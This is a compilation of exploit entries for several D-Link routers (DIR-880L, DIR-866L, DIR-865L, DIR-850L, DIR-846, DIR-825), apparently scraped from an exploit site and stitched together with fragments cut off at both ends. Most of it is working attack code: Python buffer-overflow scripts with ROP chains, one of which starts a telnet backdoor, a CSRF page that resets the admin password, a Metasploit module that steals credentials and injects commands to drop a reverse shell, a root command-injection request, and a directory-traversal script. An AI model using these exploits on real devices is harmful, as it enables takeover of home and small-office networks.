* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley
HireHackking 
## Advisory Information

Title: DIR-880L Buffer overflows in authenticatio and HNAP functionalities. 
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. 

## Product Description

DIR-880L -- Wireless AC1900 Dual-Band Gigabit Cloud Router. Mainly used by home and small offices.

## Vulnerabilities Summary

Have come across 2 security issues in DIR-880 firmware which allows an attacker to exploit buffer overflows in authentication and  HNAP  functionalities. first 2 of the buffer overflows in auth and HNAP  can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. Also this exploit needs to be run atleast 200-500 times to bypass ASLR on ARM based devices. But it works as the buffer overflow happens in a seperate process than web server which does not allow web server to crash and hence attacker wins.

## Details

Buffer overflow in HNAP 
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

#Currently the address of exit function in libraray used as $PC


buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + "\x10\xd0\xff\x76"+"B"*220
buf+= "\r\n" + "1\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)

----------------------------------------------------------------------------------------------------------------------


Buffer overflow in auth
----------------------------------------------------------------------------------------------------------------------
import socket
import struct


buf = "GET /webfa_authentication.cgi?id="
buf+="A"*408
buf+="\x44\x77\xf9\x76" # Retn pointer (ROP1) which loads r0-r6 and pc with values from stack
buf+="sh;#"+"CCCC"+"DDDD" #R0-R2
buf+="\x70\x82\xFD\x76"+"FFFF"+"GGGG"      #R3 with system address and R4 and R5 with junk values
buf+="HHHH"+"\xF8\xD0\xF9\x76" # R6 with crap and PC address loaded with ROP 2 address
buf+="telnetd%20-p%209092;#" #actual payload which starts telnetd
buf+="C"+"D"*25+"E"*25 + "A"*80 # 131 bytes of extra payload left
buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\n\r\n"

print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)

----------------------------------------------------------------------------------------------------------------------


## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley
HireHackking 
## Advisory Information

Title: DIR-866L Buffer overflows in HNAP and send email functionalities 
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. 

## Product Description

DIR866L -- AC1750 Wi-Fi Router. Mainly used by home and small offices.

## Vulnerabilities Summary

Have come across 2 security issue in DIR866L firmware which allows an attacker on wireless LAN  to exploit buffer overflow vulnerabilities in hnap and send email functionalities. An attacker needs to be on wireless LAN or management interface needs to be exposed on Internet to exploit HNAP vulnerability but it requires no authentication. The send email buffer overflow does require the attacker to be on wireless LAN or requires to trick administrator to exploit using XSRF.

## Details

HNAP buffer overflow
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
import string
import sys

BUFFER_SIZE = 2048

# Observe this in a emulator/debugger or real device/debugger


buf = "POST /hnap.cgi HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\nContent-Length: 13\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings\r\nHNAP_AUTH: test\r\nCookie: unsupportedbrowser=1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
buf+="FFFF"
buf+=struct.pack(">I",0x2abfc9f4) # s0 ROP 2 which loads S2 with sleep address
buf+="\x2A\xBF\xB9\xF4" #s1 useless
buf+=struct.pack(">I",0x2ac14c30) # s2 Sleep address
buf+="DDDD" #s3
buf+=struct.pack(">I",0x2ac0fb50) # s4 ROP 4 finally loads the stack pointer into PC
buf+=struct.pack(">I",0x2ac0cacc)  # retn Loads s0 with ROP2 and ao with 2 for sleep 
buf+="XXXXFFFFFFFFFFFFFFFFFFFFGGGGGGGG" #This is the padding as SP is added with 32 bytes in ROP 1
buf+="XXXXFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGG" # This is the padding as SP is added with 36 bytes in ROP 2
buf+=struct.pack(">I",0x2abcebd0) # This is the ROP 3 which loads S4 with address of ROP 4 and then loads S2 with stack pointer address
buf+="GGGGGGGGGGGGGGGG"
buf+="AAAAAAAAAAAAAAAAAAAAA" # Needs a proper shell code Bad chars 1,0 in the first bit of hex byte so 1x or 0x
buf+="GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ\r\n\r\n"+"test=test\r\n\r\n"

# Bad chars \x00 - \x20
# sleep address 2ac14c30
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
s.send(buf)
data = s.recv(BUFFER_SIZE)
s.close()
print "received data:", data

----------------------------------------------------------------------------------------------------------------------

# Send email buffer overflow
----------------------------------------------------------------------------------------------------------------------

import socket
import struct
import string
import sys

BUFFER_SIZE = 2048

# Observe this in a emulator/debugger or real device/debugger

buf = "GET /send_log_email.cgi?test=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
buf+="1111" #s0 Loaded argument in S0 which is loaded in a0
buf+=struct.pack(">I",0x2ac14c30) #s4 Sleep address 0x2ac14c30 
buf+="XXXX"
buf+="FFFF" # s3
buf+="XXXX"
buf+="BBBB" # s5
buf+="CCCC" # s6
buf+="DDDD" # s7
buf+="DDDD" # extra pad
buf+=struct.pack(">I",0x2ABE94B8) # Retn address 2ABE94B8 ROP1
buf+="EEEBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" # 
buf+="EEEBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" # 
buf+="XXXX" # 
buf+="BBBBBBBBBBBBBBBB" #16 bytes before shellcode
buf+="CCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
s.send(buf)
data = s.recv(BUFFER_SIZE)
s.close()
print "received data:", data

----------------------------------------------------------------------------------------------------------------------

## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley
HireHackking 
source: https://www.securityfocus.com/bid/59312/info

D-Link DIR-865L is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected device. Other attacks are also possible.

D-Link DIR-865L firmware version 1.03 is vulnerable; other versions may also be affected. 

<html> <head> <title> D-LINK DIR-865L CSRF</title> <!-- Firmware Version: 1.03 Fri 02 Nov 2012 --> </head> <body> <form name="dlinkXML" action="http://192.168.0.1/hedwig.cgi" enctype="text/plain" method="post"> <input type="hidden" name="<?xml version" value="'1.0' encoding='UTF-8'?> <postxml> <module> <service>DEVICE.ACCOUNT</service> <device> <gw_name>DIR-865L</gw_name> <account> <seqno>1</seqno> <max>2</max> <count>1</count> <entry> <uid>USR-</uid> <name>Admin</name> <usrid/> <password>ISE</password> <group>0</group> <description/> </entry> </account> <group> <seqno/> <max/> <count>0</count> </group> <session> <captcha>0</captcha> <dummy/> <timeout>600</timeout> <maxsession>128</maxsession> <maxauthorized>16</maxauthorized> </session> </device> </module> <module> <service>HTTP.WAN-1</service> <inf> <web>1337</web> <https_rport></https_rport> <stunnel>1</stunnel> <weballow> <hostv4ip/> </weballow> <inbfilter></inbfilter> </inf> </module> <module> <service>HTTP.WAN-2</service> <inf> <web>1337</web> <weballow></weballow> </inf> </module> <module> <service>INBFILTER</service> <acl> <inbfilter> <seqno>1</seqno> <max>24</max> <count>0</count> </inbfilter> </acl> <ACTIVATE>ignore</ACTIVATE> <FATLADY>ignore</FATLADY> <SETCFG>ignore</SETCFG> </module> <module> <service>SHAREPORT</service> <FATLADY>ignore</FATLADY> <ACTIVATE>ignore</ACTIVATE> </module> </postxml>"> </form> <script> function CSRF1() {document.dlinkXML.submit();};window.setTimeout(CSRF1,1000) function CSRF2() {window.open("http://192.168.0.100/dlinkCSRF2.html");}; window.setTimeout(CSRF2,1000) </script> </body> </html>
HireHackking 
# Exploit Title: D-Link DIR-850L Wireless AC1200 Dual Band Gigabit Cloud Route Authentication Bypass
# CVE: CVE-2018-9032
# Date: 24-03-2018
# Exploit Author: Gem George
# Author Contact: https://www.linkedin.com/in/gemgrge
# Vulnerable Product: D-Link DIR-850L Wireless AC1200 Dual Band Gigabit Cloud Router http://www.dlink.co.in/products/?pid=628
# Firmware version: 1.02-2.06
# Hardware version: A1, B1
# Vendor Homepage: https://dlink.com


Vulnerability Details
======================
An authentication bypass vulnerability on D-Link DIR-850L Wireless AC1200 Dual Band Gigabit Cloud Router potentially allows attackers to bypass SharePort Web Access Portal by directly accessing authenticated pages such as /category_view.php or /folder_view.php. This could potentially allow unauthorized remote access of media stored in SharePort and may perform write operation in the portal

How to exploit
===================
Directly call authenticated URLs to bypass authentication

Examples:
* http://[router_ip][port]/category_view.php
* http://[router_ip][port]/folder_view.php

POC
=========
* https://youtu.be/Wmm4p8znS3s
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'DIR-850L (Un)authenticated OS Command Exec',
      'Description' => %q{
        This module leverages an unauthenticated credential disclosure
        vulnerability to then execute arbitrary commands on DIR-850L routers
        as an authenticated user. Unable to use Meterpreter payloads.
      },
      'Author' => [
        'Mumbai', # https://github.com/realoriginal (module)
        'Zdenda' # vuln discovery
      ],
      'References' => [
        ['URL', 'https://www.seebug.org/vuldb/ssvid-96333'],
        ['URL', 'https://blogs.securiteam.com/index.php/archives/3310'],
      ],
      'DisclosureDate' => 'Aug 9 2017',
      'License' => MSF_LICENSE,
      'Platform' => 'linux',
      'Arch' => ARCH_MIPSBE,
      'DefaultTarget' => 0,
      'DefaultOptions' => {
        'PAYLOAD' => 'linux/mipsbe/shell/reverse_tcp'
      },
      'Privileged' => true,
      'Payload' => {
        'DisableNops' => true,
      },
      'Targets' => [[ 'Automatic', {} ]],
    ))
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => '/',
        'method' => 'GET'
        })
      if res && res.headers['Server']
        auth = res.headers['Server']
        if auth =~ /DIR-850L/
          if auth =~ /WEBACCESS\/1\.0/
            return Exploit::CheckCode::Safe
          else
            return Exploit::CheckCode::Detected
          end
        end
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end
    Exploit::CheckCode::Unknown
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end


  # some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well...
  # should write an auxiliary module to-do -> WRITE AUXILIARY
  def retrieve_creds
    begin
      xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
      xml << "<postxml>\r\n"
      xml << "<module>\r\n"
      xml << "  <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
      xml << "</module>\r\n"
      xml << "</postxml>"
      res = send_request_cgi({
        'uri' => '/hedwig.cgi',
        'method' => 'POST',
        'encode_params' => false,
        'headers' => {
          'Accept-Encoding' => 'gzip, deflate',
          'Accept' => '*/*'
        },
        'ctype' => 'text/xml',
        'cookie' => "uid=#{Rex::Text.rand_text_alpha_lower(8)}",
        'data' => xml,
      })
      if res.body =~ /<password>(.*)<\/password>/ # fixes stack trace issue
        parse = res.get_xml_document
        username = parse.at('//name').text
        password = parse.at('//password').text
        vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
        loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
        print_good("#{peer} - Downloaded credentials to #{loot}")
        return username, password
      else
        fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end

  def retrieve_uid
    begin
      res = send_request_cgi({
          'uri' => '/authentication.cgi',
          'method' => 'GET',
      })
      parse = res.get_json_document
      uid = parse['uid']
      challenge = parse['challenge']
      return uid, challenge
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end

  def login(username, password)
    uid, challenge = retrieve_uid
    begin
      hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
      send_request_cgi({
        'uri' => '/authentication.cgi',
        'method' => 'POST',
        'data' => "id=#{username}&password=#{hash}",
        'cookie' => "uid=#{uid}"
      })
      return uid
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end

  def execute_command(cmd, opts)
    uid = login(@username, @password) # reason being for loop is cause UID expires for some reason after executing 1 command
    payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
    payload << "<postxml>\r\n"
    payload << "<module>\r\n"
    payload << "  <service>DEVICE.TIME</service>\r\n"
    payload << "  <device>\r\n"
    payload << "    <time>\r\n"
    payload << "      <ntp>\r\n"
    payload << "        <enable>1</enable>\r\n"
    payload << "        <period>604800</period>\r\n"
    payload << "        <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}&); </server>\r\n"
    payload << "      </ntp>\r\n"
    payload << "      <ntp6>\r\n"
    payload << "        <enable>1</enable>\r\n"
    payload << "        <period>604800</period>\r\n"
    payload << "      </ntp6>\r\n"
    payload << "      <timezone>20</timezone>\r\n"
    payload << "      <time/>\r\n"
    payload << "      <date/>\r\n"
    payload << "      <dst>0</dst>\r\n"
    payload << "      <dstmanual/>\r\n"
    payload << "      <dstoffset/>\r\n"
    payload << "    </time>\r\n"
    payload << "  </device>\r\n"
    payload << "</module>\r\n"
    payload << "</postxml>"
    begin
      # save configuration
      res = send_request_cgi({
        'uri' => '/hedwig.cgi',
        'method' => 'POST',
        'ctype' => 'text/xml',
        'data' => payload,
        'cookie' => "uid=#{uid}"
      })
      # execute configuration
      res = send_request_cgi({
        'uri' => '/pigwidgeon.cgi',
        'method' => 'POST',
        'data' => 'ACTIONS=SETCFG,ACTIVATE',
        'cookie' => "uid=#{uid}"
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end


  def exploit
    print_status("#{peer} - Connecting to target...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
    end
    #
    # Information Retrieval, obtains creds and logs in
    #
    @username, @password = retrieve_creds
    execute_cmdstager(
      :flavor => :wget,
      :linemax => 200
    )
  end
end
HireHackking 
# Exploit Title: D-Link DIR-846 - Remote Command Execution (RCE) vulnerability 
# Google Dork: NA
# Date: 30/01/2023
# Exploit Author: Françoa Taffarel
# Vendor Homepage:
https://www.dlink.com.br/produto/roteador-dir-846-gigabit-wi-fi-ac1200/#suportehttps://www.dlink.com.br/wp-content/uploads/2020/02/DIR846enFW100A53DBR-Retail.zip
# Software Link:
https://www.dlink.com.br/wp-content/uploads/2020/02/DIR846enFW100A53DBR-Retail.zip
# Version: DIR846enFW100A53DBR-Retail
# Tested on: D-LINK DIR-846
# CVE : CVE-2022-46552

D-Link DIR-846 Firmware FW100A53DBR was discovered to contain a remote
command execution (RCE) vulnerability via the lan(0)_dhcps_staticlist
parameter. This vulnerability is exploited via a crafted POST request.

### Malicious POST Request
```
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101
Firefox/107.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
SOAPACTION: "http://purenetworks.com/HNAP1/SetIpMacBindSettings"
HNAP_AUTH: 0107E0F97B1ED75C649A875212467F1E 1669853009285
Content-Length: 171
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/AdvMacBindIp.html?t=1669852917775
Cookie: PHPSESSID=133b3942febf51641c4bf0d81548ac78; uid=idh0QaG7;
PrivateKey=DBA9B02F550ECD20E7D754A131BE13DF; timeout=4

{"SetIpMacBindSettings":{"lan_unit":"0","lan(0)_dhcps_staticlist":"1,$(id>rce_confirmed),02:42:d6:f9:dc:4e,192.168.0.15"}}
```


### Response

```
HTTP/1.1 200 OK
X-Powered-By: PHP/7.1.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8
Connection: close
Date: Thu, 01 Dec 2022 11:03:54 GMT
Server: lighttpd/1.4.35
Content-Length: 68

{"SetIpMacBindSettingsResponse":{"SetIpMacBindSettingsResult":"OK"}}
```


### Data from RCE Request

```
GET /HNAP1/rce_confirmed HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101
Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=133b3942febf51641c4bf0d81548ac78; uid=ljZlHjKV;
PrivateKey=846232FD25AA8BEC8550EF6466B168D9; timeout=1
Upgrade-Insecure-Requests: 1
```


### Response

```
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Accept-Ranges: bytes
Content-Length: 24
Connection: close
Date: Thu, 01 Dec 2022 23:24:28 GMT
Server: lighttpd/1.4.35

uid=0(root) gid=0(root)
```
HireHackking 
## Advisory Information

Title: DIR-825 (vC) Buffer overflows in authentication,HNAP and ping functionalities. Also a directory traversal 

issue exists which can be exploited
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed 

issues as per the email communication. The vendor had also released the information on their security advisory 

pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly 

accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing 

this finding is not responsible for anyone using this information for malicious purposes. 

## Product Description

DIR-825 (vC) -- Wireless AC750 Dual Band Gigabit Cloud Router. Mainly used by home and small offices.

## Vulnerabilities Summary

Have come across 4 security issues in DIR-825 firmware which allows an attacker to exploit buffer overflows in 

authentication, HNAP and Ping functionalities. first 2 of the buffer overflows in auth and HNAP  can be exploited 

by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack 

directly or using XSRF if not exposed. The ping functionality based buffer overflow and directory traversal would 

require an attacker to be on network and use XSRF to exploit buffer overflow whereas would require some sort of 

authentication as low privileged user atleast to exploit directory traversal.

## Details

Buffer overflow in auth 
------------------------------------------------------------------------------------------------------------------

----
import socket
import struct


'''
287 + XXXX in query_string value, right now only working with Exit address as sleep address has bad chars which 

disallows from using regular shellcode directly
'''

buf = "GET /dws/api/Login?test="
buf+="B"*251
buf+="CCCC" #s0
buf+="FFFF" #s1
buf+="FFFF" #s2
buf+="FFFF" #s3
buf+="XXXX" #s4
buf+="HHHH" #s5
buf+="IIII" #s6
buf+="JJJJ" #s7
buf+="LLLL"
buf+="\x2a\xbc\x8c\xa0" # retn address
buf+="C"*24 #
buf+="sh;;" 
buf+="K"*20
buf+="\x2a\xc0\xd2\xa0" #s1
buf+="\x2a\xc0\xd2\xa0" #s1
buf

+="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

CCCCCCCCCCCCCCCCC"
buf+="&password=A HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml

+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
soc=s.recv(2048)
print soc
------------------------------------------------------------------------------------------------------------------

----


Buffer overflow in HNAP
------------------------------------------------------------------------------------------------------------------

----
import socket
import struct


'''
4138 + XXXX in SoapAction value, right now only working with Exit address as sleep address has bad chars which 

disallows from using regular shellcode directly
'''

buf = "POST /HNAP1/ HTTP/1.1\r\n"
buf+= "Host: 10.0.0.90\r\n"
buf+="SOAPACTION:http://purenetworks.com/HNAP1/GetDeviceSettings/"+"A"*4138+"\x2a\xbc\x8c\xa0"+"D"*834+"\r\n"
buf+="Proxy-Connection: keep-alive\r\n"
buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\r\n"
buf+"Cache-Control: max-age=0\r\n"
buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 

Safari/537.36\r\n"
buf+="Accept-Encoding: gzip,deflate,sdch\r\n"
buf+="Accept-Language: en-US,en;q=0.8\r\n"
buf+="Cookie: uid:1111;\r\n"
buf+="Content-Length: 13\r\n\r\ntest=test\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
soc=s.recv(2048)
print soc
------------------------------------------------------------------------------------------------------------------

----

Directory traversal 
------------------------------------------------------------------------------------------------------------------

----
import socket
import struct


'''
Useful to do directory traversal attack which is possible in html_response_page variable below which prints the 

conf file, but theoretically any file, most likely only after login accessible
'''
payload="html_response_page=../etc/host.conf&action=do_graph_auth&login_name=test&login_pass=test1&login_n=test2&l

og_pass=test3&graph_code=63778&session_id=test5&test=test"
buf = "POST /apply.cgi HTTP/1.1\r\n"
buf+= "Host: 10.0.0.90\r\n"
buf+="Proxy-Connection: keep-alive\r\n"
buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\r\n"
buf+"Cache-Control: max-age=0\r\n"
buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 

Safari/537.36\r\n"
buf+="Accept-Encoding: gzip,deflate,sdch\r\n"
buf+="Accept-Language: en-US,en;q=0.8\r\n"
buf+="Cookie: session_id=test5;\r\n"
buf+="Content-Length: "+str(len(payload))+"\r\n\r\n"
buf+=payload+"\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
soc=s.recv(2048)
print soc
------------------------------------------------------------------------------------------------------------------

----


Buffer overflow in ping 
------------------------------------------------------------------------------------------------------------------

----
import socket
import struct


'''
282 + XXXX in ping_ipaddr value, right now only working with Exit address as sleep address has bad chars which 

disallows from using regular shellcode directly
'''
payload="html_response_page=tools_vct.asp&action=ping_test&html_response_return_page=tools_vct.asp&ping=ping&ping_

ipaddr=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"+"\x2a\xbc\x8c\xa0"+"CCXXXXDDDDEEEE&test=test"
buf = "POST /ping_response.cgi HTTP/1.1\r\n"
buf+= "Host: 10.0.0.90\r\n"
buf+="Proxy-Connection: keep-alive\r\n"
buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\r\n"
buf+"Cache-Control: max-age=0\r\n"
buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 

Safari/537.36\r\n"
buf+="Accept-Encoding: gzip,deflate,sdch\r\n"
buf+="Accept-Language: en-US,en;q=0.8\r\n"
buf+="Cookie: session_id=test5;\r\n"
buf+="Content-Length: "+str(len(payload))+"\r\n\r\n"
buf+=payload+"\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
soc=s.recv(2048)
print soc
 
------------------------------------------------------------------------------------------------------------------

----

## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley
HireHackking 
## Advisory Information

